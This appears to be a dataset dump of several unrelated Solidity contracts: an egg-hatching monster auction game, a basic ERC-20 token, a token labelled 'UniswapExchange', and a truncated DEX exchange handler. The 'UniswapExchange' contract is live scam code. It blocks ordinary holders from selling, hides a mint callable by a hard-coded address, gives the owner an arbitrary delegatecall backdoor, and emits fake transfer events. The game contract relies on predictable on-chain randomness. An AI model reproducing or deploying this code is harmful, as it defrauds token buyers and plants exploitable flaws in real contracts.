data.addMonsterObj(monsterId,_genes,_classId,_master,_name,_skills);
return monsterId;
}
function setMasterToReferral(address _master, address _referral) onlyOwner public{
masterToReferral[_master] = _referral;
}
function setEggTotal(uint8 _tableNum,uint256 _tableVal) onlyOwner public{
EggTotal[_tableNum] = _tableVal;
}
function setAddresses(address _dragonTreasureToken,address _databaseContract,address _ERC721Contract) onlyOwner public{
dragonTreasureToken = _dragonTreasureToken;
databaseContract = _databaseContract;
ERC721Contract = _ERC721Contract;
}
function setEggTable(uint16 _tableNum,uint32[] _tableVals) onlyOwner public{
EggTable[_tableNum] = _tableVals;
}
function userWithdraw(uint256 _value) public{
DTT DTTtoken = DTT(dragonTreasureToken);
DTTtoken.transferFrom(this,msg.sender,_value);
}
struct Egg {
uint8 tableId;
uint32 classId;
uint256 genes;
uint256 hatchTime;
uint32 matronId;
uint32 sireId;
uint16 generation;
address master;
}
struct Auction {
uint256 classId;
uint256 monsterId;
uint256 price;
uint256 endTime;
uint8 rarity;
address bidder;
}
Egg[] public eggs;
Auction[] public auctions;
uint randNonce = 0;
function randMod(uint _modulus) internal returns(uint) {
randNonce++;
return uint(keccak256(now, msg.sender, randNonce)) % _modulus;
}
function setCooldown(uint64 _time) onlyOwner public{
cooldownTime = _time;
}
function getSortedArray(uint[] storageInt) public pure returns(uint[]) {
uint[] memory a = getCloneArray(storageInt);
quicksort(a);
return a;
}
function getCloneArray(uint[] a) private pure returns(uint[]) {
return a;
}
function swap(uint[] a, uint l, uint r) private pure {
uint t = a[l];
a[l] = a[r];
a[r] = t;
}
function getPivot(uint a, uint b, uint c) private pure returns(uint) {
if(a > b){
if(b > c){
return b;
}else{
return a > c ? c : a ;
}
}else{
if(a > c){
return a;
}else{
return b > c ? c : b ;
}
}
}
function quicksort(uint[] a) private pure {
uint left = 0;
uint right = a.length - 1;
quicksort_core(a, left, right);
}
function quicksort_core(uint[] a, uint left, uint right) private pure {
if(right <= left){
return;
}
uint l = left;
uint r = right;
uint p = getPivot(a[l], a[l+1], a[r]);
while(true){
while(a[l] < p){
l++;
}
while(p < a[r]){
r--;
}
if(r <= l){
break;
}
swap(a, l, r);
l++;
r--;
}
quicksort_core(a, left, l-1);
quicksort_core(a, r+1, right);
}
function withdrawAll () onlyOwner public {
msg.sender.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner public {
msg.sender.transfer(_amount);
}
function addAuction(uint32 _classId, uint256 _monsterId, uint256 _price, uint8 _rarity, uint8 _endTime) onlyOwner public {
Auction memory auction = Auction({
classId: _classId,
monsterId: _monsterId,
price: _price,
rarity: _rarity,
endTime: 86400 * _endTime + now,
bidder: msg.sender
});
auctions.push(auction);
totalAuction += 1;
}
function burnAuction() onlyOwner external {
uint256 counter = 0;
for (uint256 i = 0; i < totalAuction; i++) {
if(auctions[i].endTime < now - 86400 * 3){
delete auctions[i];
counter++;
}
}
totalAuction -= counter;
}
function ceil(uint a) public pure returns (uint ) {
return uint(int(a * 100) / 100);
}
function setGenes(uint256 _price, uint256 _monsterId) internal{
DataBase data = DataBase(databaseContract);
uint256 gene = _price / 10000000000000000;
if(gene > 255)
gene = 255;
uint256 genes = 0;
genes += gene * 1000000000000000;
genes += gene * 1000000000000;
genes += gene * 1000000000;
genes += gene * 1000000;
genes += gene * 1000;
genes += gene;
if(genes > 255255255255255255)
genes = 255255255255255255;
data.setMonsterGene(uint64(_monsterId),genes);
}
function buy (uint256 _auctionId, address _referral) payable public {
NFTToken CNDERC721 = NFTToken(ERC721Contract);
require(auctions[_auctionId].endTime > now);
require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != address(0));
require(ceil(msg.value) >= ceil(auctions[_auctionId].price + increaseRate));
require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = CNDERC721.ownerOf(auctions[_auctionId].monsterId);
address newOwner = msg.sender;
uint256 oldPrice = auctions[_auctionId].price;
uint256 price = ceil(msg.value);
setGenes(price,auctions[_auctionId].monsterId);
CNDERC721.transferAuction(oldOwner, newOwner, auctions[_auctionId].monsterId);
auctions[_auctionId].price = ceil(price);
auctions[_auctionId].bidder = msg.sender;
DTT DTTtoken = DTT(dragonTreasureToken);
if(masterToReferral[msg.sender] != address(0) && masterToReferral[msg.sender] != msg.sender){
DTTtoken.approve(masterToReferral[msg.sender], DTTtoken.allowance(this,masterToReferral[msg.sender]) + price / 1000000000 * 5);
}else if(_referral != address(0) && _referral != msg.sender){
masterToReferral[msg.sender] = _referral;
DTTtoken.approve(_referral, DTTtoken.allowance(this,_referral) + price / 1000000000 * 5);
}
DTTtoken.approve(msg.sender, DTTtoken.allowance(this,msg.sender) + price / 1000000000 * 5);
if(oldPrice > 0)
oldOwner.transfer(oldPrice);
Bought(auctions[_auctionId].monsterId, newOwner, price);
Sold(auctions[_auctionId].monsterId, oldOwner, price);
}
function buyBlueStarEgg(address _sender, uint256 _tokens, uint16 _amount) isActive public returns(uint256) {
require(_amount <= 10 && _amount > 0);
uint256 price = ceil(5 * 10**8);
if (_tokens < price)
revert();
DataBase data = DataBase(databaseContract);
for (uint8 i = 0; i < _amount; i++) {
uint256 genes = 0;
genes += (randMod(205) + 51) * 1000000000000000;
genes += (randMod(205) + 51) * 1000000000000;
genes += (randMod(205) + 51) * 1000000000;
genes += (randMod(205) + 51) * 1000000;
genes += (randMod(205) + 51) * 1000;
genes += randMod(205) + 51;
uint32 classId = EggTable[1][randMod(EggTable[1].length)];
EggTotal[1] += 1;
uint64 monsterId = data.getTotalMonster() + 1;
data.addMonsterObj(monsterId,genes,classId,_sender,"","");
}
Hatch(msg.sender, 1);
return price * _amount;
}
function buyRareEgg(uint8 _table, uint _amount, address _referral) isActive payable public {
require(_amount <= 10 && _amount > 0);
uint256 price = 0.1 ether;
if(EggTotal[_table] > 0)
price += uint((int(EggTotal[_table] / 500) * 10**18) / 20);
require(msg.value >= price * _amount);
DTT DTTtoken = DTT(dragonTreasureToken);
DataBase data = DataBase(databaseContract);
uint256 bonus = 10;
if(_amount >= 10){
bonus = 12;
}
if(masterToReferral[msg.sender] != address(0) && masterToReferral[msg.sender] != msg.sender){
DTTtoken.approve(masterToReferral[msg.sender], DTTtoken.allowance(this,masterToReferral[msg.sender]) + price / 10000000000 * 5 * bonus * _amount);
}else if(_referral != address(0) && _referral != msg.sender){
masterToReferral[msg.sender] = _referral;
DTTtoken.approve(_referral, DTTtoken.allowance(this,_referral) + price / 10000000000 * 5 * bonus * _amount);
}
DTTtoken.approve(msg.sender, DTTtoken.allowance(this,msg.sender) + price / 10000000000 * 5 * bonus * _amount);
for (uint8 i = 0; i < _amount; i++) {
uint256 genes = 0;
genes += (randMod(155) + 101) * 1000000000000000;
genes += (randMod(155) + 101) * 1000000000000;
genes += (randMod(155) + 101) * 1000000000;
genes += (randMod(155) + 101) * 1000000;
genes += (randMod(155) + 101) * 1000;
genes += randMod(155) + 101;
uint32 classId = EggTable[_table][randMod(EggTable[_table].length)];
EggTotal[_table] += 1;
uint64 monsterId = data.getTotalMonster() + 1;
data.addMonsterObj(monsterId,genes,classId,msg.sender,"","");
}
Hatch(msg.sender, _table);
}
function hatchEgg(uint256 _eggId, string _name) public{
require(eggs[_eggId].hatchTime <= now);
require(eggs[_eggId].classId != 0 && eggs[_eggId].master == msg.sender);
DataBase CNDDB = DataBase(databaseContract);
uint64 monsterId = CNDDB.getTotalMonster() + 1;
string memory skills = "0:0:0:0";
CNDDB.addMonsterObj(monsterId,eggs[_eggId].genes,eggs[_eggId].classId,msg.sender,_name,skills);
eggs[_eggId].classId = 0;
eggs[_eggId].master = address(0);
}
function monstersForSale (uint8 optSort) external view returns (uint256[] _monsters){
uint256[] memory mcount = new uint256[](totalAuction);
uint256 counter = 0;
for (uint256 i = 0; i < totalAuction; i++) {
mcount[counter] = i;
counter++;
}
if(optSort != 0){
sortAuction(mcount);
}
return mcount;
}
function sortAuction (uint256[] _mcount) public view returns (uint256[] _monsters){
uint256[] memory mcount = new uint256[](_mcount.length);
for(uint256 i = 0; i < _mcount.length; i++){
mcount[i] = auctions[i].price * 10000000000 + i;
}
uint256[] memory tmps = getSortedArray(_mcount);
uint256[] memory result = new uint256[](tmps.length);
for(uint256 i2 = 0; i2 < tmps.length; i2++){
result[i2] = tmps[i2] % 10000000000;
}
return result;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 1 | 3,843 |
pragma solidity 0.4.24;
contract Token {
function totalSupply() constant returns (uint supply) {}
function balanceOf(address _owner) constant returns (uint balance) {}
function transfer(address _to, uint _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
function approve(address _spender, uint _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract MASIKIToken is UnboundedRegularToken {
uint public totalSupply = 201000000000000000000000000;
uint8 constant public decimals = 18;
string constant public name = "MASIKIToken";
string constant public symbol = "MSK";
function MASIKIToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 2,613 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,461 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract AllowanceSetter {
uint256 constant MAX_UINT = 2**256 - 1;
function approveAddress(address addressToApprove, address token) internal {
if(ERC20(token).allowance(address(this), addressToApprove) == 0) {
require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT));
}
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 18
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balanceOf(address account) external returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TotleControl is Ownable {
address public totlePrimary;
modifier onlyTotle() {
require(msg.sender == totlePrimary);
_;
}
constructor(address _totlePrimary) public {
require(_totlePrimary != address(0x0));
totlePrimary = _totlePrimary;
}
function setTotle(
address _totlePrimary
) external onlyOwner {
require(_totlePrimary != address(0x0));
totlePrimary = _totlePrimary;
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
contract SelectorProvider {
bytes4 constant getAmountToGive = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecks = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrder = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrder = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is TotleControl, Withdrawable, Pausable {
SelectorProvider public selectorProvider;
ErrorReporter public errorReporter;
modifier onlySelf() {
require(msg.sender == address(this));
_;
}
constructor(
address _selectorProvider,
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_selectorProvider != address(0x0));
require(_errorReporter != address(0x0));
selectorProvider = SelectorProvider(_selectorProvider);
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
onlyTotle
whenNotPaused
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = selectorProvider.getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := call(
gas,
address,
callvalue,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
onlyTotle
whenNotPaused
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = selectorProvider.getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := call(
gas,
address,
callvalue,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
onlyTotle
whenNotPaused
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = selectorProvider.getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
